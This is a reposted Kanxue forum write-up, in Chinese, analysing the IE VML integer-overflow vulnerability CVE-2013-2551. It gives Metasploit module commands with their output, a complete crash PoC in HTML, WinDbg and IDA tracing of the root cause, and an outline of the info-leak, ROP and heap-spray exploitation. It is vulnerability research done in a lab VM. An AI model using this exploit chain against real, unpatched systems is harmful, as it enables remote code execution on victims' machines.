本文为看雪论坛优秀文章
看雪论坛作者ID:21Gun5
漏洞战争:该漏洞出现在 IE 中负责解析 VML(向量标记语言,用 XML 语言绘制向量图形)的 vgx.dll模块,由于在处理 VML 标签时对输入参数未做有效验证导致整数溢出。https://cve.mitre.org:Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2013, aka "Internet Explorer Use After Free Vulnerability," a different vulnerability than CVE-2013-1308 and CVE-2013-1309.目标系统:Windows7 专业版 SP1(虚拟机# 搜索并使用模块
msf5 > search cve-2013-2551
msf5 > use exploit/windows/browser/ms13_037_svg_dashstyle
# 设置payload
msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set payload windows/exec
# 设置payload参数,弹出计算器(exploit模块参数保持默认即可
msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set cmd calc.exe
# 攻击:开启服务器,等待目标连接
msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/browser/ms13_037_svg_dashstyle) >
[*] Using URL: http://0.0.0.0:8080/hvMannCwdGn0
[*] Local IP: http://172.20.10.4:8080/hvMannCwdGn0
[*] Server started.
# 靶机打开恶意链接后,成功弹出计算器
[*] 172.20.10.4 ms13_037_svg_dashstyle - Gathering target information for 172.20.10.4
[*] 172.20.10.4 ms13_037_svg_dashstyle - Sending HTML response to 172.20.10.4
[-] 172.20.10.4 ms13_037_svg_dashstyle - Exception handling request: undefined method `report_client' for #<Metasploit::Framework::DataService::RemoteHTTPDataService:0x00007fb1ecde4158>
Did you mean? report_event
report_loot
[*] 172.20.10.4 ms13_037_svg_dashstyle - Sending HTML to info leak...
[*] 172.20.10.4 ms13_037_svg_dashstyle - ntdll leak: 0x76de70b0
[*] 172.20.10.4 ms13_037_svg_dashstyle - Using ntdll ROP
[*] 172.20.10.4 ms13_037_svg_dashstyle - Sending HTML to trigger...
2. 使用《漏洞战争》提供的POC,GitHub地址:https://github.com/riusksk/vul_warIE8打开poc.html、选择“允许阻止的内容”、点击“crash”按钮,IE崩溃,poc源码如下:<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
1. WinDbg附加IE8,打开poc.html重新测试,发生访问异常。发生在地址4b5f5f4b处,与poc中crashme函数中的代码相关(二者之间具体什么联系,后面探究。2. 为了更好的定位漏洞代码,对IE开启页堆机制(+hpa3. 开启页堆后,重新测试,断在memcpy函数处,访问2a47d060时错误。观察反汇编指令,“基址+偏移”的形式(而且还*4),断定是数组访问越界,进一步推测,memcpy中传参有误。4. kb指令查看函数参数以及堆栈调用,可以发现2a47d060是memcpy的第二个参数即源地址,也定位到vgx的ORG::Get函数(kb显示前3个参数。5. IDA反汇编VGX.dll文件,函数窗口中搜索ORG::Get函数,F5得到其伪C代码。由步骤4知,出错的位memcpy的第二个参数即源地址,其由Get函数的参数1、3决定。6. 再看栈回溯,Get中的参数1、3来自get_item的参数1、2。7. 再回溯,找到OLEAUT32!DispCallFunc,已经脱离vgx.dll,故可以断定,vgx!COALineDashStyleArray::get_item只是用于触发异常,而非真正造成漏洞的罪魁祸首。8. get_item是windows中的API,一定会对应poc.html中的js函数。后面赋值的地址会引发访问错误(步骤1中),而且二者名字类似,因此可基本断定:数组越界访问的错误就是由poc中的item函数引发的//here(1)vml1.dashstyle包含 44 个元素
(2)item函数访问vml1.dashstyle时,指定下标0x2E+0x16=68,必然访问越界
10. 访问地址2a47d060时错误,68*4=272=110h,dd指令查看内存分布(L50指定显示多少)前面是正常范围的元素1-44,若按照下表68访问,则越界出错。
1. 由上面分析可知,item函数的调用只是触发异常,并非真正漏洞处,分析poc,在item调用前,发现有修改length的代码,如下:赋值比较反常,0-1 = -1 = 0xFFFFFFFF,可断定,这就是引起整数溢出的罪魁祸首。2. 基于类函数定位的漏洞分析方法(详情漏洞战争 4.3如上指令涉及“dashstyle”、”length“等关键字,在IDA中函数窗口搜索;涉及length的有两个,通过名字猜测,put的类似set,是设置xxx用的。因此,找到关键函数COALineDashStyleArray::put_length3. WinDbg重新附加IE,在COALineDashStyleArray::put_length下断后,重新测试,页面中点击“crash”,成功进入put_length函数(bu针对某个符号下断点。5. put_lenth+0x9处,取出第一个参数(具体是啥不明确,后面再说。6. +0x6b处调用CElements函数,由名字猜测其获得某元素,dd查看其参数eax,发现有002c=44即vml1.dashstyle的元素个数。7. t单步步入,进入CElements内部,+0x5时取出参数1,即vml1.dashstyle数组对象(因为有元素个数信息,故这样猜测)8. 继续p单步,+0x8时,取出vml1.dashstyle数组对象的元素个数0x2c,并赋值给eax即返回值;使用movzx无符号扩展指令,表示此元素个数/数组长度为无符号整数。9. 随后退出CElements函数(返回值eax=002c,此函数就是为了获取vml1.dashstyle的数组长度),+0x6e处获取put_length的第二个参数赋值给esi,FFFFFFFF = -1,即poc中设置的。10. +0x71、73处,比较eax和esi,即原先的元素个数0x2c和后来设置的-1,jge是有符号跳转,必然跳(正数当然大于负数。11. u指令,查看不跳转后是怎么执行的?调用new再分配内存。比如,eax=2,esi=5,即原先长度为2,后设置为5,此时jge不跳;
sub esi,eax(esi = 5-2 = 3,即新增了多少元素
xor ecx,ecx(ecx清零
push 4, pop edx(edx = 4,即每个元素大小为4
mov eax,esi(eax = 3
mul eax,edx(eax = 3*4 = 12,即新增了多少空间
Seto cl, neg ecx(SETO-溢出置位、NEG求补,ecx=0,OD中测试后,依然为0
or ecx, eax(eax 或操作 0,结果不变,依然12
push ecx, call new(新申请12空间,即原先的空间不足,需要再申请
12. 实际情况满足jge跳转,继续p,+0xcf处,有一减法操作,因为esi为负数,所以sub后eax不减反增,eax=2c - (-1) = 2c + 1 = 2d,这就是问题之所在。正常情况下,如eax=5,esi=3,满足jge,则5 - 3 = 2,eax是要减小的,而poc中设置为-1,使其变大。13. 随后调用deleteRange函数,传参-1、poc中特殊构造的差0x2d、vml1.dashstyle数组对象。15.内部又调用 MsoFRemovePx 函数。16. 继续跟进MsoFRemovePx 函数,+0xa7处ebx是2c - (-1) 的差值 = 2d,esi所指向数组长度=2c,二者相减,反过来又得到了-1 = FFFF,也就是poc中设置-1;但此时,-1已经不是负数这么简单,其在内存是FFFF,相比原长度2c,是一个很大的数。17. 若按照正常的情况,比如原先长度为5,新设置为2,则5-2=3得到差值,MsoFRemovePx中sub操作,5-3=2,这个2就是新长度,此时在内存中将长度改掉没有问题。18. 现在将数组长度由2c改为FFFF,原则上这么设置没问题,FFFF作为长度也是合理的;但是,之前cmp 2c,-1时,满足了jge跳转,导致没有调用new新申请内存。也就是说,实际的内存空间没有增加,仅表面上增加了长度;所以,当通过item函数对数组进行素引取值时,就会导致数组越界访问。使用msf提供的rb文件来分析漏洞是如何被利用的(利用信息泄漏实现漏洞利用。1. 创建0x400个v:shape 元素(COARunTimeStyle对象),html_info_leak函数中,如下:2. 在第 0x301个时,创建包含 44 个元素的 dashstyle 数组(ORG数组), 总共占空间4*44=0xB0字节。3. 当两个COARunTimeStyle对象相邻时,前一个对象的ORG数组就紧挨着后一个对象,通过漏洞对数组进行越界访问,就可以访问到后面对象的内存地址。4. poc中a[i].marginLeft = "a";,js中对marginLeft属性进行赋值,对应COARunTimeStyle::put_marginLeft函数(上面所述的类函数定位法),用 IDA 反汇编该函数,发现其将设置的字符串保存在0x58偏移处。5. 0x2C + 8/4 + 0x58/4 = 0x2E+0x16,正好对应item对数组进行索引时的下标,通过数组越界访问,刚好访问到0x58偏移处,即字符串保存的位置。(来自漏洞战争)6. 通过泄露地址固定偏移计算出ntdll.dll模块的版本及基址。7. 进而利用ntdll的基址构造出 ROP chain,调用ZwProtectVirtualMemory函数将 Shellcode所在内存设置为可执行权限(修改内存属性:绕过 DEP数据执行保护、rop链:绕过ASLR。8. rb文件load_exploit_html函数处,获取payload、进行堆喷射,从而控制程序流程,漏洞利用成功。https://blog.csdn.net/qq_38924942/article/details/88652564看雪ID:21Gun5
https://bbs.pediy.com/user-868592.htm
*本文由看雪论坛 21Gun5 原创,转载请注明来自看雪社区。好书推荐
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458303802&idx=1&sn=f4d602394c245e5745d11512277a6db0&chksm=b1818db086f604a69119a3ff5eba4bbeaef0f904c4b6d146c5009835c75aa6f6155e6aeed34d#rd
如有侵权请联系:admin#unsafe.sh